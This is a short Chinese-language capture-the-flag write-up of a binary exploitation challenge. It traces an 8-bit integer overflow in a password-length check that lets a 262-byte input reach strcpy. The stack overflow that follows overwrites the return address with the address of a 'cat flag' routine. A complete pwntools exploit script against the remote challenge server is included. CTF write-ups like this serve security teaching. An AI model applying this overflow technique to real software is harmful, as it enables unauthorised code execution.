基本信息
尝试运行
IDA F5
跟进,login()函数
继续,check_passwd()函数
对于上面的代码,关键在于v3,unsigned __int8类型
check_passwd()函数传入最大参数长度为0x199(十进制409),v3用于接收串的长度,8bit,会发生溢出
同时,下面dest长度只有14h,存在溢出
0B100000000=0X100=256,256+4=260,256+7=263,所以传入check_passwd()函数的参数需要>=260,<=263,这里我们选择262
shift+F12,查看字符串,发现部分重要的string
根据cat flag交叉引用,来到这里,地址为0x8048694
思路:构建一个指定长度的串,传入函数,整数溢出突破if函数的判断,来到strcpy危险函数出,造成栈溢出,随后用system_cat_flag地址覆盖返回地址
Exp
from pwn import *
#p=process('./51ed19eacdea43e3bd67217d08eb8a0e')
p=remote('111.200.241.244',64200)
p.sendlineafter("choice:","1")
p.sendlineafter("username:\n","abc")
system_cat_flag_addr=0x8048694
payload=b'A'*0x14+b"B"*0x4+p32(system_cat_flag_addr)+b'C'*(262-0x14-4-4)
p.sendlineafter("passwd:\n",payload)
#p.interactive()
print( p.recvall() )
: )